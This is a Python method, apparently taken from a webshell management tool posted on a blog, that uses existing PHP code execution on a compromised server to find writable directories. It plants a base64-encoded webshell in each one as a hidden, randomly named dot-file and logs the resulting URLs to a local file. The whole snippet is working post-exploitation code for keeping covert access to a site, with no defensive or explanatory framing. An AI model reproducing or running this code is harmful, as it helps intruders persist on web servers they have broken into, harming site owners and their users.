def auto_inject_phpfile(self, filename, webshell_content):
Log.info("Auto injecting : [%s] => [%s]" % (filename, repr(webshell_content)))
Log.info("Code : [%s]" % (repr(webshell_content)))
Log.info("Length : [%d]" % (len(webshell_content)))
Log.info("Getting writable dirs...")
writable_dirs = self.get_writable_directory()
urls = []
if len(writable_dirs) == 0:
Log.error("No writable dirs...")
return False
else:
for writable_dir in writable_dirs:
writable_dir += "/"
filename = ".%s.php" % (random_string(16, string.letters + string.digits))
Log.info("Writing [%s] into : [%s]" % (repr(webshell_content), writable_dir))
php_code = "file_put_contents('%s',base64_decode('%s'));" % ("%s/%s" % (writable_dir, filename), webshell_content.encode("base64").replace("\n",""))
self.php_code_exec(php_code)
base_url = "%s%s" % ("".join(["%s/" % (i) for i in self.url.split("/")[0:3]]), writable_dir.replace("%s" % (self.webroot), ""))
webshell_url = ("%s%s" % (base_url, filename)).replace("//", "/").replace("https:/", "https://").replace("http:/", "http://")
with open("Webshell.txt", "a+") as f:
log_content = "%s => %s\n" % (webshell_url, repr(webshell_content))
f.write(log_content)
urls.append(webshell_url)
return urls
评论列表
文章目录